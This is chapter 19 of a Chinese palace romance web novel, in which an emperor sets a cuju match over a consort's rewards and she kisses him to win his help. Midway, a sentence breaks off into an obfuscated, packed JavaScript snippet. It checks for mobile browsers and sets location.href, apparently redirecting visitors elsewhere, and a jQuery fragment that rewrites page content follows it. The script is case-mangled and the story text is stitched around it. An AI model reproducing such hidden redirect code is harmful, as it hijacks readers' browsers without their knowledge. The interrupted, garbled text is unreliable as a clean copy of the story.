19. 第19章

什么?


卫青姝眼眸中的雾水被疑惑代替,她抬眸看去,眼睛眨巴眨巴着像在说:秦祎在说什么。


为他做主?


其他人也纷纷一愣,看向秦祎满是不解,相互对视着满脸茫然。


顾纯儿一旁皱了皱眉,看向秦祎,娇滴滴道:“皇上,是为我们做主。”


秦祎似是回过神,收敛了目光,眼神冷漠而疏离的看向其他人,开口的语气中充斥着质疑。


“你们觉得我的赏赐不合理?”


秦祎语气冰冷带着些许不悦,眼神阴鸷如同盯着猎物的雄鹰。


众人纷纷一愣,只觉得背后冷汗直冒。


但是仍然有人大着胆子说道:“皇上,您将奇珍异宝全都赏给舒妃了,您向来奖赏没有这般偏颇过,后宫的姐妹们也想要啊。”


那女子是刚刚挑事推卫青姝之人,那女子的哥哥是个将军,立下些许战功,平时在秦祎面前也大胆些。


卫青姝杏眸中闪过一丝慌乱与不舍,她看向秦祎,这么多人想要争抢,他不会真的就将那些赐给她的都送出去吧。


秦祎似乎瞥过她眼底的神色,不悦之色悄然离去,眼底深沉带着些许筹谋:“说的甚是,确有不合理。”


听到他的话语,众人松了一口气。


没想到他竟然没有怪罪,众人不由得看向刚刚说话的女子,眼神中满是支持。


既然秦祎没有怪罪,那便有可能分上舒妃的赏赐,任谁想想都忍不住高兴。


卫青姝眼眸瞬间染上泪水,泪眼婆娑的看向秦祎,他怎么能说不合理呢。


那可是他答应给的。


虽然不舍,可是卫青姝此刻却是卫青妧的身份,卫青妧可是不在乎这些身外之物的人,若是表达对赏赐不舍太过明显,会被怀疑的。


想着,卫青姝硬生生的咽下泪水,幽怨的垂眸看向地面掩下心中的心思,倔强的抿了抿唇。


秦祎眼尾余光瞥向她,她就如同倔强生气的兔子,想要发作又没办法发出来,只能死死的咬着下唇,本就红润的唇瓣此刻也变得殷红。


“皇上,那舒妃的赏赐……”


此时,众人便大胆了些,试探的开口。


秦祎眼神扫过众人迫不及待的模样,眼底多了些许冷漠,语气平静没有一丝温度:“既然不合理,那朕便出一个合理的分法。”


顾纯儿皱眉,看向秦祎,心里却隐隐有些不安。


秦祎何时成了这般好说话的人了?


卫青姝却未曾抬眸,秦祎若是中毒之事怀疑她,那他定然不会站在自己这边,这种相对合理的做法不过是将那些东西再送回去。


可惜了那些用着舒适的,看着舒心的宝贝。


众人翘首以盼等待着秦祎接下来的话,眼睛紧紧盯着他,唯恐漏掉些什么。


秦祎看向失落的卫青姝,缓缓道:“过几日接近年底,会有蹴鞠比赛,你们各自寻一些厉害的选手组成一队,若是赢了便能随便挑选一件朕给舒妃的赏赐,如何。”


众人眼神一亮,舒妃进宫不久,认识的人不多,阴谋诡计也不多,到时候挑几个好的选手,再让她挑选的选手受点伤,那些赏赐不就到手了。


想着,胜利似乎就在眼前。


“皇上圣明。”


不知谁喊了一句,众人纷纷跟随着喊了出来。


一声接着一声的皇上圣明,卫青姝杏眸中满是怏怏不乐的神情,她刚刚入京哪里了解谁蹴鞠厉害嘛。


若是从宫外找人,又不知道会不会暴露,毕竟真正的卫青妧正在家秘密养胎。


“但是。”秦祎忽然脸色严肃了些许,眼眸深沉冰冷,“若是舒妃赢了,你们便每人拿出一份金银首饰送给舒妃。”


众人纷纷一愣,看向满脸阴沉的秦祎又不像是在开玩笑,想要反驳,却见顾纯儿皱眉跪下身来。


其余人等也纷纷跪下不甘心的同意。


俗话说伴君如伴虎,更何况秦祎是暴君,敢挑战他的话语,总要吐出血来。


来的嫔妃也不是不知道他的秉性,但是觉得有宠爱的顾纯儿在,应当有胜算,没想到还是将他惹怒了。


卫青姝微微抬眸,刚刚还和颜悦色的的秦祎此刻如同不怒自威的老虎,心中也是一颤。


“舒妃可同意?”


秦祎瞥向略带惊慌的卫青姝,她盈盈眼眸瞥过众人,如同兔子一般不知道在思索什么。


卫青姝沉浸在自己的思索中,一时间未曾反应过来,直到众人纷纷看向她,她才缓缓抬眸,端庄得体的垂眸:“臣妾听从皇上安排。”


“好。”


秦祎得逞的目光一闪而过,随即淡淡的说道:“舒妃留下,其余人等退下吧。”


——


待众人离开,卫青姝忐忑的抬眸,看向秦祎手中还未归还的玉兔,抿了抿唇欲言又止。


秦祎拿着手中的玉佩,蹲下身,将玉佩放在卫青姝眼前:“舒妃会把这枚玉佩当做赌注吗?”


卫青姝看向秦祎,她是不愿意的。


这又不是赏赐而来的。


“臣妾不愿意。”


卫青姝伸出手扯住秦祎的衣袖,柔弱的攀上他的胳膊,楚楚可怜道,“皇上您现在连妧妧平时佩戴之物都要送出去吗?”


秦祎看着卫青姝的眼眸晦暗不明,一时间看不出喜怒。


看着他静静盯着自己,卫青姝澄澈的杏眸转动,收回附在秦祎身上的胳膊,悻悻道:“臣妾僭越了。”


虽然秦祎喜欢卫青妧,可是却也没有到肆意妄为的地步,她不能太过分。


秦祎深沉的眼眸闪过一丝无奈,拉过她白嫩的小手将玉佩放在她的手心:“给你。”


卫青姝心中更是忐忑,他怎么一会儿要一会儿又不要的,真琢磨不懂他的心思。


“蹴鞠之事,你打算如何?”


看着卫青姝出神的模样,秦祎忍不住询问。


卫青姝微微一愣,对上秦祎深沉的眼眸,心中一颤。


若是托人寻夏子卿帮忙,秦祎醋坛子会不会打翻,像一刀了结高贵妃那般了结了自己。


若是托人回家,假扮卫青妧的事情恐怕会暴露。


无论怎么样,都很是危险。


思来想去,只有在宫中找人最合适。


但是宫中之人她又不熟悉。


卫青姝对上秦祎的眼眸,他的眼眸如深渊一般,深不见底,却还是透露着些许的希冀,像是看错了一般总觉得他在向她抛出橄榄枝。


卫青姝忽然


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333934|167730||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


想起比舞前,秦祎说的“朕才是决定你登上舞台的关键人选”,脑海中随即闪过一个大胆的念头:让秦祎做自己的蹴鞠选手。


况且天牢里秦祎说过,只要她不离开,他会依着卫青妧的。


秦祎也会踢蹴鞠,并且踢得很好。


当年,秦祎蹴鞠比赛,京城闻名,当年场外多少女子欢呼喝彩。


此刻为帝,他若是自己的选手,那谁敢不让秦祎胜出。


卫青姝澄澈的杏眸含着笑意,轻轻扯着秦祎的衣角,笑盈盈的看着他:“皇上,臣妾在宫中也没有认识的人,更是…更是无所依靠。”


卫青姝边说边打量着秦祎,似乎只要他表达出不满就及时停止,可是秦祎只是静静的看着她,没有发怒,也没有任何不悦。


卫青姝大胆的依偎在秦祎身旁,娇滴滴柔软的说着:“臣妾只认识皇上一人,皇上可否做臣妾的选手。”


卫青姝静静的看着秦祎,秦祎看着她,眼眸澄澈如同星辰宇宙,他不自然的抿了抿唇,抽出胳膊,抬头挺胸看向前方保持距离。


可是卫青姝觉得秦祎抿着的唇角似乎在憋着笑意,但是又像是自己的错觉。


他好像没有理由开心。


卫青姝静静的等待着,秦祎似乎调整好自己的状态,郑重其事带着些许深沉看向她:“朕总不能平白无故的做你的选手,朕能得到什么好处?”


卫青姝一时间问懵了。


俗话说无利不起早,更何况秦祎是皇上,做自己的选手,秦祎又能得到什么呢。


她能给他什么呢。


卫青姝看着秦祎,他的容貌绝佳,虽然都说他暴力残忍,可是无论是从前还是现在,他的容貌是极好的,五官周正,眼眸深邃鼻梁高挺,就连嘴巴……


此刻仔细看去,他殷红的唇角带着勾人的诱惑,似乎在给卫青姝提示。


卫青姝抬眸对上秦祎的眼眸,脑海中被曾经的画面掩盖,她带着心动曾经吻过秦祎。


她咽了咽口水,垂眸掩了掩思绪,心口如同打鼓一般,“再吻他一次”这个想法出现的时候她觉得荒唐,可又觉得可以实施。


毕竟当年,她也是这么引秦祎上钩的。


她静静等待了良久,内心挣扎片刻。


卫青姝跪着的身子忽而立起,她倾身上前快速吻上秦祎的脸庞。


湿润的唇落在脸颊,温热的触感传来,秦祎刹那间脸色变幻,刚刚带着笑意的眼眸瞬间呆滞,眼神清澈的如同雨水刚洗过天空,抿起的唇瓣落了下来,似乎不知如何反应。


卫青姝看着他的反应,立即拘束的向后撤出距离,垂眸掩下心中微小的慌张。


时隔多年,好像心中的小鹿还会扑通扑通乱撞。


秦祎缓缓转头,看着卫青姝白皙的脸浮上一抹红晕,她樱桃般的唇色同样带着几丝魅惑。


良久,他咽了咽口水,理智渐渐回归。


卫青姝贝齿轻咬下唇,忐忑的抬眸看向秦祎:“臣妾…”


秦祎深吸一口气,眨了眨深邃的眼眸,抿了抿唇,快速站起身转身背对她,双手扶住一旁的桌子,冷静道:“我同意做你的选手了,你先回去吧。”


那双骨节分明的手紧紧的扶着桌子,似乎撤掉桌子整个人便没了依靠。